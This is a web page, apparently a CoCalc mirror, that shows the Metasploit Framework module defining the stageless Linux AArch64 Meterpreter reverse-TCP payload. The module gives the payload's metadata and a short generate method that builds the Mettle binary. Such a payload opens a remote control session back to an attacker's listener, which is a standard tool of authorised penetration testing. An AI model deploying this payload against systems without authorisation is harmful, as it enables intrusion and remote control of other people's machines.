CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/linux/aarch64/meterpreter_reverse_tcp.rb
Views: 11782
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
7
# Module generated by tools/modules/generate_mettle_payloads.rb
8
module MetasploitModule
9
10
CachedSize = 1140752
11
12
include Msf::Payload::Single
13
include Msf::Sessions::MeterpreterOptions
14
include Msf::Sessions::MettleConfig
15
16
def initialize(info = {})
17
super(
18
update_info(
19
info,
20
'Name' => 'Linux Meterpreter, Reverse TCP Inline',
21
'Description' => 'Run the Meterpreter / Mettle server payload (stageless)',
22
'Author' => [
23
'Adam Cammack <adam_cammack[at]rapid7.com>',
24
'Brent Cook <brent_cook[at]rapid7.com>',
25
'timwr'
26
],
27
'Platform' => 'linux',
28
'Arch' => ARCH_AARCH64,
29
'License' => MSF_LICENSE,
30
'Handler' => Msf::Handler::ReverseTcp,
31
'Session' => Msf::Sessions::Meterpreter_aarch64_Linux
32
)
33
)
34
end
35
36
def generate(_opts = {})
37
opts = {
38
scheme: 'tcp',
39
stageless: true
40
}.merge(mettle_logging_config)
41
MetasploitPayloads::Mettle.new('aarch64-linux-musl', generate_config(opts)).to_binary :exec
42
end
43
end
44
45